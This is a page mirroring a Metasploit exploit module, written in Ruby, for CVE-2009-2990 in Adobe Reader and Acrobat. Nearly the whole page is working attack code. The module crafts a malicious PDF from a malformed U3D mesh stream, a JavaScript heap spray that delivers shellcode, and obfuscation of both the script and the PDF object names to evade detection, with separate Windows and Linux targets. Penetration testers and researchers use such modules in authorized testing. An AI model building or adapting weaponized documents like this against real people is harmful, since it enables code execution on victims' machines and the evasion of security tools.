CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
16
'Description' => %q{
17
This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
18
Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
19
specially crafted pdf that a contains malformed U3D data, an attacker may
20
be able to execute arbitrary code.
21
},
22
'License' => MSF_LICENSE,
23
'Author' =>
24
[
25
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
26
'jduck'
27
],
28
'References' =>
29
[
30
[ 'CVE', '2009-2990' ],
31
[ 'OSVDB', '58920' ],
32
[ 'BID', '36665' ],
33
[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
34
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
35
],
36
'DefaultOptions' =>
37
{
38
'EXITFUNC' => 'process',
39
},
40
'Payload' =>
41
{
42
'Space' => 1024,
43
'BadChars' => "\x00",
44
'DisableNops' => true
45
},
46
'Platform' => %w{ win linux },
47
'Targets' =>
48
[
49
# test results (on Windows XP SP3)
50
# reader 7.0.5 - untested
51
# reader 7.0.8 - untested
52
# reader 7.0.9 - untested
53
# reader 7.1.0 - untested
54
# reader 7.1.1 - untested
55
# reader 8.0.0 - untested
56
# reader 8.1.2 - works
57
# reader 8.1.3 - works
58
# reader 8.1.4 - untested
59
# reader 8.1.5 - untested
60
# reader 8.1.6 - untested
61
# reader 9.0.0 - untested
62
# reader 9.1.0 - works
63
[ 'Adobe Reader Windows Universal (JS Heap Spray)',
64
{
65
'Index' => 0x01d10000,
66
'Platform' => 'win',
67
'Arch' => ARCH_X86,
68
'escA' => 0x0f0f0f0f,
69
'escB' => 0x16161616,
70
'escC' => 0x1c1c1c1c
71
}
72
],
73
74
# untested
75
[ 'Adobe Reader Linux Universal (JS Heap Spray)',
76
{
77
'Index' => 0xfffffe3c,
78
'Platform' => 'linux',
79
'Arch' => ARCH_X86,
80
'escA' => 0x75797959,
81
'escB' => 0xa2a2a2a2,
82
'escC' => 0x9c9c9c9c
83
}
84
]
85
],
86
'DisclosureDate' => '2009-10-13',
87
'DefaultTarget' => 0))
88
89
register_options(
90
[
91
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
92
])
93
94
end
95
96
97
98
def exploit
99
# Encode the shellcode.
100
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
101
102
# Make some nops
103
nops = Rex::Text.to_unescape(make_nops(4))
104
105
# prepare the pointers!
106
ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
107
ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
108
ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))
109
110
script = <<-EOF
111
var nopz = unescape("#{nops}");
112
function mkSlice(stringy,size,rest){
113
while (stringy.length <= size/2)
114
stringy += stringy;
115
stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
116
return stringy;
117
};
118
119
function spray(escA,escB,escC,escShellcode){
120
var loop1;
121
var pointersA = unescape(escA);
122
var pointersB = unescape(escB);
123
var pointersC = unescape(escC);
124
var shellcode = unescape(escShellcode);
125
126
pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
127
pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
128
pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
129
nop_slide = mkSlice(nopz,0x100000, shellcode.length);
130
var xarr = new Array();
131
for (loop1 = 0; loop1 < 400; loop1++) {
132
if(loop1<100)
133
xarr[loop1] = pointersA_slide+pointersA;
134
else if(loop1<200)
135
xarr[loop1] = pointersB_slide+pointersB;
136
else if(loop1<300)
137
xarr[loop1] = pointersC_slide+pointersC;
138
else
139
xarr[loop1] = nop_slide+shellcode;
140
}
141
return xarr;
142
};
143
var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
144
this.pageNum = 1;
145
EOF
146
147
# Obfuscate it up a bit
148
script = obfuscate_js(script,
149
'Symbols' => {
150
'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },
151
'Methods' => %W{ mkSlice spray }
152
}).to_s
153
154
# create the u3d stuff
155
u3d = make_u3d_stream(target['Index'], "E" * 11)
156
157
# Create the pdf
158
pdf = make_pdf(script, u3d)
159
160
print_status("Creating '#{datastore['FILENAME']}' file...")
161
162
file_create(pdf)
163
end
164
165
166
def obfuscate_js(javascript, opts)
167
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
168
js.obfuscate
169
return js
170
end
171
172
173
def random_non_ascii_string(count)
174
result = ""
175
count.times do
176
result << (rand(128) + 128).chr
177
end
178
result
179
end
180
181
def io_def(id)
182
"%d 0 obj\n" % id
183
end
184
185
def io_ref(id)
186
"%d 0 R" % id
187
end
188
189
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
190
def n_obfu(str)
191
192
result = ""
193
str.scan(/./u) do |c|
194
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
195
result << "#%x" % c.unpack("C*")[0]
196
else
197
result << c
198
end
199
end
200
result
201
end
202
203
def ascii_hex_whitespace_encode(str)
204
result = ""
205
whitespace = ""
206
str.each_byte do |b|
207
result << whitespace << "%02x" % b
208
whitespace = " " * (rand(3) + 1)
209
end
210
result << ">"
211
end
212
213
214
def u3d_pad(str, char="\x00")
215
ret = ""
216
if (str.length % 4) > 0
217
ret << char * (4 - (str.length % 4))
218
end
219
return ret
220
end
221
222
223
def make_u3d_stream(index, meshname)
224
225
# build the U3D header (length will be patched in later)
226
hdr_data = [1,0].pack('n*') # version info
227
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
228
hdr = "U3D\x00"
229
hdr << [hdr_data.length,0].pack('VV')
230
hdr << hdr_data
231
232
# mesh declaration
233
decl_data = [meshname.length].pack('v')
234
decl_data << meshname
235
decl_data << [0].pack('V') # chain idx
236
# max mesh desc
237
decl_data << [0].pack('V') # mesh attrs
238
decl_data << [0xc322].pack('V') # face count
239
decl_data << [0x6226].pack('V') # position count
240
decl_data << [0x24966].pack('V') # normal count
241
decl_data << [0].pack('V') # diffuse color count
242
decl_data << [0].pack('V') # specular color count
243
decl_data << [0].pack('V') # texture coord count
244
decl_data << [1].pack('V') # shading count
245
# shading desc
246
decl_data << [0].pack('V') # shading attr
247
decl_data << [1].pack('V') # texture layer count
248
decl_data << [0].pack('V') # texture coord dimensions
249
decl_data << [0].pack('V') # original shading id
250
# minimum resolution
251
decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)
252
# quality factors
253
decl_data << [0x12c].pack('V') # position quality factor
254
decl_data << [0x12c].pack('V') # normal quality factor
255
decl_data << [0x12c].pack('V') # texture coord quality factor
256
# inverse quantiziation
257
decl_data << [0x3f0b1e6c].pack('V') # position inverse quant
258
decl_data << [0x3b6f05a6].pack('V') # normal inverse quant
259
decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant
260
decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant
261
decl_data << [0x3c2df54a].pack('V') # specular color inverse quant
262
# resource params
263
decl_data << [0x3f666666].pack('V') # normal crease param
264
decl_data << [0x3f000000].pack('V') # normal update param
265
decl_data << [0x3f7c28f6].pack('V') # normal tolerance param
266
# skeleton description
267
decl_data << [0].pack('V') # bone count
268
# padding
269
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
270
mesh_decl << decl_data
271
mesh_decl << u3d_pad(decl_data)
272
273
# build the modifier chain
274
chain_data = [meshname.length].pack('v')
275
chain_data << meshname
276
chain_data << [1].pack('V') # type (model resource)
277
chain_data << [0].pack('V') # attributes (no bounding info)
278
chain_data << u3d_pad(chain_data)
279
chain_data << [1].pack('V') # number of modifiers
280
chain_data << mesh_decl
281
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
282
modifier_chain << chain_data
283
284
# mesh continuation
285
cont_data = [meshname.length].pack('v')
286
cont_data << meshname
287
cont_data << [0].pack('V') # chain idx
288
cont_data << [0].pack('V') # start resolution
289
cont_data << [0x1000].pack('V') # end resolution
290
# 4096 continuation blocks
291
cont_data << [index].pack('V') # split position index
292
cont_data << [0].pack('v') # new diffuse color count
293
cont_data << [0].pack('v') # new specular color count
294
cont_data << [0].pack('v') # new text coord count
295
cont_data << [0].pack('V') # new face count
296
# unknown data
297
cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"
298
cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"
299
cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"
300
cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"
301
cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"
302
cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"
303
cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"
304
cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"
305
cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"
306
cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"
307
cont_data << "\xe9\x10\x9d\x6b\x06\x00"
308
cont_data << "\x50" # pad
309
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
310
mesh_cont << cont_data
311
#mesh_cont << u3d_pad(cont_data)
312
mesh_cont << "\xa2\x00" # manual padding
313
314
data = hdr
315
data << modifier_chain
316
data << mesh_cont
317
318
# patch the length
319
data[24,4] = [0x2b680].pack('V') # hardcode the data length
320
321
if index == 0x01d10000
322
#laziest hack ever! Another index must be found for using the following
323
# stream in windows.. and a lot of tests shoul be done.
324
return data
325
end
326
327
328
# linux version
329
# build the U3D header (length will be patched in later)
330
hdr_data = [1,0].pack('n*') # version info
331
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
332
meta_str1 = "alalala0"
333
meta_str2 = "\xa8" * 1024
334
hdr_meta = [1].pack('V')
335
hdr_meta << [meta_str1.length].pack('v')
336
hdr_meta << meta_str1
337
hdr_meta << [1].pack('V')
338
hdr_meta << [meta_str2.length].pack('V')
339
hdr_meta << meta_str2
340
hdr = "U3D\x00"
341
hdr << [hdr_data.length,hdr_meta.length].pack('VV')
342
hdr << hdr_data
343
hdr << hdr_meta
344
hdr << u3d_pad(hdr_meta)
345
346
# mesh declaration
347
decl_data = [meshname.length].pack('v')
348
decl_data << meshname
349
decl_data << [0].pack('V') # chain idx
350
# max mesh desc
351
decl_data << [0].pack('V') # mesh attrs
352
decl_data << [0xc322].pack('V') # face count
353
decl_data << [0x6626].pack('V') # position count
354
decl_data << [4].pack('V') # normal count
355
decl_data << [0].pack('V') # diffuse color count
356
decl_data << [0].pack('V') # specular color count
357
decl_data << [0].pack('V') # texture coord count
358
decl_data << [1].pack('V') # shading count
359
# shading desc
360
decl_data << [0].pack('V') # shading attr
361
decl_data << [0].pack('V') # texture layer count
362
decl_data << [0].pack('V') # original shading id
363
# no texture coord dimensions
364
decl_data << [0x64].pack('V') # minimum resolution
365
decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)
366
# quality factors
367
decl_data << [0x12c].pack('V') # position quality factor
368
decl_data << [0x12c].pack('V') # normal quality factor
369
decl_data << [0x12c].pack('V') # texture coord quality factor
370
# inverse quantiziation
371
decl_data << [0].pack('V') # position inverse quant
372
decl_data << [0].pack('V') # normal inverse quant
373
decl_data << [0].pack('V') # texture coord inverse quant
374
decl_data << [0].pack('V') # diffuse color inverse quant
375
decl_data << [0].pack('V') # specular color inverse quant
376
# resource params
377
decl_data << [0].pack('V') # normal crease param
378
decl_data << [0].pack('V') # normal update param
379
decl_data << [0].pack('V') # normal tolerance param
380
# skeleton description
381
decl_data << [0].pack('V') # bone count
382
# padding
383
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
384
mesh_decl << decl_data
385
mesh_decl << u3d_pad(decl_data)
386
387
# build the modifier chain
388
chain_data = [meshname.length].pack('v')
389
chain_data << meshname
390
chain_data << [1].pack('V') # type (model resource)
391
chain_data << [0].pack('V') # attributes (no bounding info)
392
chain_data << u3d_pad(chain_data)
393
chain_data << [1].pack('V') # number of modifiers
394
chain_data << mesh_decl
395
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
396
modifier_chain << chain_data
397
398
# mesh continuation
399
cont_data = [meshname.length].pack('v')
400
cont_data << meshname
401
cont_data << [0].pack('V') # chain idx
402
cont_data << [0].pack('V') # start resolution
403
cont_data << [0x100].pack('V') # end resolution
404
# 256 continuation blocks
405
cont_data << [index].pack('V') # split position index
406
# unknown data
407
cont_data << [1].pack('V') * 10
408
cont_data << "Feli" * 20
409
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
410
mesh_cont << cont_data
411
mesh_cont << u3d_pad(cont_data)
412
413
data = hdr
414
data << modifier_chain
415
data << mesh_cont
416
417
# patch the length
418
data[24,4] = [0x174].pack('V') # hardcode the data length
419
return data
420
421
end
422
423
def make_pdf(js, u3d_stream)
424
425
xref = []
426
eol = "\x0a"
427
obj_end = "" << eol << "endobj" << eol
428
429
# the header
430
pdf = "%PDF-1.7" << eol
431
432
# filename/comment
433
pdf << "%" << random_non_ascii_string(4) << eol
434
435
# js stream
436
xref << pdf.length
437
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
438
pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
439
pdf << "stream" << eol
440
pdf << compressed << eol
441
pdf << "endstream" << eol
442
pdf << obj_end
443
444
# catalog
445
xref << pdf.length
446
pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)
447
pdf << n_obfu("/Pages ") << io_ref(5)
448
pdf << n_obfu("/OpenAction ") << io_ref(8)
449
pdf << n_obfu(">>")
450
pdf << obj_end
451
452
# outline
453
xref << pdf.length
454
pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")
455
pdf << obj_end
456
457
# kids
458
xref << pdf.length
459
pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")
460
pdf << io_ref(9) << " " # empty page
461
pdf << io_ref(10) # u3d page
462
pdf << n_obfu("]>>")
463
pdf << obj_end
464
465
# u3d stream
466
xref << pdf.length
467
pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
468
pdf << "stream" << eol
469
pdf << u3d_stream << eol
470
pdf << "endstream"
471
pdf << obj_end
472
473
# u3d annotation object
474
xref << pdf.length
475
pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")
476
pdf << "/3D/3DA <</A/PO/DIS/I>>"
477
pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")
478
pdf << obj_end
479
480
# js dict
481
xref << pdf.length
482
pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end
483
484
# page 0 (empty)
485
xref << pdf.length
486
pdf << io_def(9) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
487
pdf << n_obfu(" >>")
488
pdf << obj_end
489
490
# page 1 (u3d)
491
xref << pdf.length
492
pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
493
pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")
494
pdf << n_obfu(">>")
495
pdf << obj_end
496
497
# xrefs
498
xrefPosition = pdf.length
499
pdf << "xref" << eol
500
pdf << "0 %d" % (xref.length + 1) << eol
501
pdf << "0000000000 65535 f" << eol
502
xref.each do |index|
503
pdf << "%010d 00000 n" % index << eol
504
end
505
506
# trailer
507
pdf << "trailer" << eol
508
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol
509
pdf << "startxref" << eol
510
pdf << xrefPosition.to_s() << eol
511
pdf << "%%EOF" << eol
512
513
end
514
end
515
516